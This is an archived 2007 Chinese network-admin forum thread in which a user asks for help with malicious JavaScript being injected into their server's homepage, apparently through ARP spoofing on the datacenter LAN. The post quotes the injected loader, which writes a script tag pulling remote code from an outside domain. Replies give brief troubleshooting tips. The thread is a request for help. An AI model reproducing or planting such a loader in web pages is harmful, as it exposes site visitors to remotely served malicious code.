中国网管论坛's Archiver

被占用的名字 发表于 2007-12-1 09:38

高人帮助解决下这个病毒

我的服务器所在机房内网最近经常出ARP攻击问题,现在他们说好了 但是我的服务器还是经常报病毒,在首页我查看源代码发现是这个恶意代码<!--
var expires = new Date();
expires.setTime(expires.getTime() + 1 * 24* 60 * 60 * 1000);
document.cookie="thread=threads;expires="+expires.toGMTString();
document.write('<SCRI' + 'PT LANGUAGE="javascript1.2"');
document.writeln(' SRC="http://list.adslooks.info:443/ads.js"></SCR' + 'IPT>');
-->
</script>

但是在自己服务器程序里面找不到呀?网上找资料有的说这个是ARP病毒,但是机房说检测不到,而且每次我重新启动服务器好象就好了一段时间,然后过一些时间又出现情况,杀毒软件也查不出什么病毒。

showme008 发表于 2007-12-2 08:21

不怎么清楚 学习

agnt 发表于 2007-12-2 17:56

第一肯定要把这个网站屏蔽了
2看看你的启动项,
3有没有DLL注入,

QQ330154856联系我吧

a22799666 发表于 2007-12-3 18:59

小伙子好像蛮在行的啊!

页: [1]

Powered by Discuz! Archiver 6.1.0  © 1999-2008 bbs.bitsCN.com